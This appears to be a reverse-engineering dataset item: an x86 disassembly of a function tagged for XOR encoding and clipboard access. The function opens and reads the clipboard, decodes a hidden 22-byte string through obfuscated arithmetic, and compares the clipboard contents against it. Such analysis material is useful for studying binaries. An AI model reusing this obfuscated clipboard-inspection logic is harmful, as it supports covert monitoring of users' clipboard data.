Function at 0x42ed00
Capabilities:
Encode data using xor
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
call fcn.0040fca0
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 8], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 0x18], esp
jmp 0x42ed24
push eax
mov dword [esi + 0x10], esp
push eax
mov eax, esp
mov dword [esi + 0x20], eax
call fcn.0040fca0
sub esp, 0x18
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x1c], esp
mov eax, dword [esi + 0x14]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [esi + 8]
mov byte [eax], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42ed70
jmp 0x42eeda
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [ebx], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, dword [esi + 0x18]
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x42eed2
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.0040c930
add esp, 4
mov ecx, dword [esi + 0x20]
mov dword [ecx], eax
cmp dword [ecx], 0
je 0x42eebc
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov dword [esi + 0x24], eax
mov eax, dword [ecx]
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0x10]
mov ebx, dword [eax]
jmp 0x42edef
call fcn.0040fca0
mov eax, dword [esi + 0x1c]
mov al, byte [eax]
mov byte [esi + 0xc], al
mov byte [edi], 0x8b
mov byte [edi + 1], 0x71
mov byte [edi + 2], 0x73
mov byte [edi + 3], 0x73
mov byte [edi + 4], 0x6c
mov byte [edi + 5], 0x70
mov byte [edi + 6], 0x6f
mov byte [edi + 7], 0x71
mov byte [edi + 8], 0x62
mov byte [edi + 9], 0xbf
mov byte [edi + 0xa], 0x70
mov byte [edi + 0xb], 0x73
mov byte [edi + 0xc], 0x76
mov byte [edi + 0xd], 0xc9
mov dword [edi + 0x12], 0
mov dword [edi + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x16
jae 0x42ee95
jmp 0x42ee52
mov eax, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx ecx, byte [edi + ecx]
mov edx, eax
and edx, 0xca5ef961
xor eax, 0x4a5ef961
lea eax, [eax + edx*2]
mov edx, eax
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
mov dword [esi + 0x2c], eax
mov eax, dword [esi + 0x2c]
add al, 0x59
mov ecx, dword [esi + 4]
mov byte [edi + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x16
jb 0x42ee52
jmp 0x42ee95
jmp 0x42ee97
sub esp, 0xc
mov ecx, dword [esi + 0x24]
mov dword [esp], edi
mov dword [esp + 4], ebx
mov eax, dword [esi + 0x28]
mov dword [esp + 8], eax
call fcn.00409cb0
and al, 1
mov ecx, dword [esi + 8]
mov byte [ecx], al
mov ebx, dword [esi + 0x18]
jmp 0x42eebc
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42eecc
jmp 0x42eece
jmp 0x42eed0
jmp 0x42eed2
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42eeda
mov eax, dword [esi + 8]
mov al, byte [eax]
jmp 0x42eee1
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret